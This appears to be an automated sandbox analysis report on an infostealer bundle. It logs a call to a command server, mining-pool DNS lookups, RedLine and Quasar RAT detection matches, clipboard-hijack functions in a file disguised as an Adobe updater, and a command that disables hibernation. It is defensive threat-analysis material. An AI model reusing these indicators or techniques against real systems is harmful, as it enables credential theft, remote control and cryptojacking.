Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233

Source: global traffic	DNS traffic detected: DNS query: auroraforge.art
Source: global traffic	DNS traffic detected: DNS query: thesirenmika.com
Source: global traffic	DNS traffic detected: DNS query: xmr-us-east1.nanopool.org

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1/dashboardid
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.81.220.233:
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002891000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.81.220.233:28105
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.81.220.233:28105/
Source: build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.81.220.233:28105t-
Source: powershell.exe, 0000000D.00000002.1759509854.0000000002D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 0000000D.00000002.1764000122.00000000049D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 0000000D.00000002.1782478788.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1934227592.0000028FBF695000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2464311316.000002943ED02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: build.exe, 00000004.00000002.2937734948.0000000002891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: powershell.exe, 0000000D.00000002.1764000122.00000000049D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: build.exe, 00000004.00000002.2937734948.0000000002926000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: build.exe, 00000004.00000002.2937734948.0000000002891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: build.exe, 00000004.00000002.2937734948.0000000002891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: build.exe, 00000004.00000002.2937734948.0000000002891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: build.exe, 00000004.00000002.2937734948.0000000002891000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000007.00000002.1727999189.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1764000122.0000000004881000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000011.00000002.2933944946.0000000002FCC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1775465681.0000028FAF621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2050954318.000002942EC91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000D.00000002.1764000122.00000000049D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: build.exe, 00000004.00000002.2937734948.0000000002926000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: build.exe, 00000004.00000002.2937734948.0000000002891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpo
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpo$
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpo(
Source: build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpo4
Source: build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckCon
Source: build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectLR
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsLR
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesLR
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentLR
Source: build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateLR
Source: build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000016.00000002.1775465681.0000028FAF621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2050954318.000002942EC91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000D.00000002.1764000122.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: build.exe, 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: OneDrive.exe, 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: build.exe, 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/file/bot%s/%sindex
Source: powershell.exe, 00000032.00000002.2464311316.000002943ED02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000032.00000002.2464311316.000002943ED02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000032.00000002.2464311316.000002943ED02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/electron/electron/releases/download/v%s/electron-v%s-%s-%s.zipInvalid
Source: Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sapics/ip-location-db/raw/master/dbip-city/dbip-city-ipv4.csv.gzjson:
Source: powershell.exe, 0000000D.00000002.1790765252.00000000071D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.coV
Source: powershell.exe, 0000000D.00000002.1790765252.00000000071D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.coVpnClient.psd1mpatib
Source: build.exe, 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: OneDrive.exe, 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipwho.is/
Source: powershell.exe, 0000000D.00000002.1782478788.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1934227592.0000028FBF695000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2464311316.000002943ED02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: OneDrive.exe, 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: OneDrive.exe, 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000011.00000002.2933944946.0000000002FE2000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000011.00000002.2933944946.0000000003077000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: OneDrive.exe, 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354sCannot
Source: Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/aurora_botnet_support
Source: Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/cheshire_aurora
Source: vlc.exe, 00000013.00000002.1999343349.0000014C54370000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.sysinternals.com0

Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe

Code function: 1_2_00007FF6C12AB900 OpenMutexA,_dupenv_s,_invalid_parameter_noinfo_noreturn,free,GetModuleFileNameA,_invalid_parameter_noinfo_noreturn,RegCreateKeyA,RegSetValueExA,_invalid_parameter_noinfo_noreturn,system,_invalid_parameter_noinfo_noreturn,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,CreateMutexA,Sleep,GetClipboardSequenceNumber,OpenClipboard,memmove,GlobalAlloc,memmove,EmptyClipboard,SetClipboardData,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

1_2_00007FF6C12AB900

Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Code function: 1_2_00007FF6C12AB900 OpenMutexA,_dupenv_s,_invalid_parameter_noinfo_noreturn,free,GetModuleFileNameA,_invalid_parameter_noinfo_noreturn,RegCreateKeyA,RegSetValueExA,_invalid_parameter_noinfo_noreturn,system,_invalid_parameter_noinfo_noreturn,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,CreateMutexA,Sleep,GetClipboardSequenceNumber,OpenClipboard,memmove,GlobalAlloc,memmove,EmptyClipboard,SetClipboardData,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,		1_2_00007FF6C12AB900
Source: C:\Users\user\AppData\Local\Msedge.exe	Code function: 18_2_00007FF62B64B900 OpenMutexA,_dupenv_s,_invalid_parameter_noinfo_noreturn,free,GetModuleFileNameA,_invalid_parameter_noinfo_noreturn,RegCreateKeyA,RegSetValueExA,_invalid_parameter_noinfo_noreturn,system,_invalid_parameter_noinfo_noreturn,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,CreateMutexExA,SleepEx,GetClipboardSequenceNumber,OpenClipboard,memmove,GlobalAlloc,memmove,EmptyClipboard,SetClipboardData,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,		18_2_00007FF62B64B900

Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe

Code function: 1_2_00007FF6C12A6670 GetClipboardData,memmove,

1_2_00007FF6C12A6670

E-Banking Fraud

Yara detected Quasar RAT

Source: Yara match	File source: 7.2.OneDrive.exe.43d6b80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.OneDrive.exe.46f41b0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.OneDrive.exe.46f41b0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.OneDrive.exe.43d6b80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.1804400683.000000000466E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1727999189.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1824795418.0000000002FB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933944946.0000000002FCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.2092621986.0000000002E4B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1905772220.0000000004EEE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.2078076863.0000000002C6F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1787802985.0000000000720000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.2085170193.00000000048DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1798111902.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: OneDrive.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OneDrive Updater.exe PID: 7736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OneDrive Updater.exe PID: 8124, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.0.build.exe.5e0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 4.0.build.exe.5e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 7.2.OneDrive.exe.43d6b80.1.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 7.2.OneDrive.exe.43d6b80.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 7.2.OneDrive.exe.43d6b80.1.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: 7.2.OneDrive.exe.46f41b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 7.2.OneDrive.exe.46f41b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 7.2.OneDrive.exe.46f41b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: 7.2.OneDrive.exe.46f41b0.0.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 7.2.OneDrive.exe.46f41b0.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 7.2.OneDrive.exe.46f41b0.0.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: 7.2.OneDrive.exe.43d6b80.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 7.2.OneDrive.exe.43d6b80.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 7.2.OneDrive.exe.43d6b80.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: build.exe PID: 6332, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, type: DROPPED	Matched rule: Detects RedLine infostealer Author: ditekSHen

PE file contains section with special chars

Source: Aurora.exe	Static PE information: section name:
Source: Aurora.exe	Static PE information: section name:
Source: Aurora.exe	Static PE information: section name:

Uses powercfg.exe to modify the power settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0

